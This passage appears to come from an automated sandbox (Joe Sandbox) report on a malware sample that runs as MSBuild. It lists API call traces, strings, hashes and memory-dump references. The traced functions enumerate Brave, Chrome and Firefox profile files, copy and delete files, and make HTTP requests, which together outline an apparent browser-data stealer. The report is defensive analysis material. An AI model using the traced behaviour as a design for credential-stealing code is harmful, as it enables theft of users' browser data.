API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 6C4E35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C56F688,00001000), ref: 6C4E35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4E35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4E35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4E363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4E369F
__aulldiv.LIBCMT ref: 6C4E36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4E3773
EnterCriticalSection.KERNEL32(6C56F688), ref: 6C4E377E
LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C4E37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4E37C4
EnterCriticalSection.KERNEL32(6C56F688), ref: 6C4E37CB
LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C4E3801
__aulldiv.LIBCMT ref: 6C4E3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4E3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4E3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4E394C

Strings

QPC, xrefs: 6C4E38FC
AuthcAMDenti, xrefs: 6C4E3946
GTC, xrefs: 6C4E3912
MOZ_TIMESTAMP_MODE, xrefs: 6C4E35DB
GenuntelineI, xrefs: 6C4E3639

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 4699c08dc37ace766aa23c8a89e8d1b0eb1efa520d806b3e1e9e231c184842f0
Instruction ID: 0ffd48a2af6a9f722688d043ed84ca533e5bc38b67eed912492e0e13e74b0612
Opcode Fuzzy Hash: 4699c08dc37ace766aa23c8a89e8d1b0eb1efa520d806b3e1e9e231c184842f0
Instruction Fuzzy Hash: 8CB18271B093109BDB09DF2ECC44B2A77F6BB89705F068A2EE499D7770D77098018B95

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149A4
%s\*, xrefs: 00414920
%s\%s, xrefs: 004149FB

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,01266020), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,01265FC0), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,01265FE0,?,01267258,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 004049BD
------, xrefs: 00404B28
------, xrefs: 00404C69
", xrefs: 00404D33
", xrefs: 00404BF2

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425104,?,00401F2C,?,004251AC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425254), ref: 00401973
StrCmpCA.SHLWAPI(?,004252FC), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction ID: ec9ed5b7047c6bda7249a5c0e57325db5d04e86a6b28839c0a373f262e22f3db
Opcode Fuzzy Hash: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction Fuzzy Hash: BD1270719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

\*.*, xrefs: 0040E44D
@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
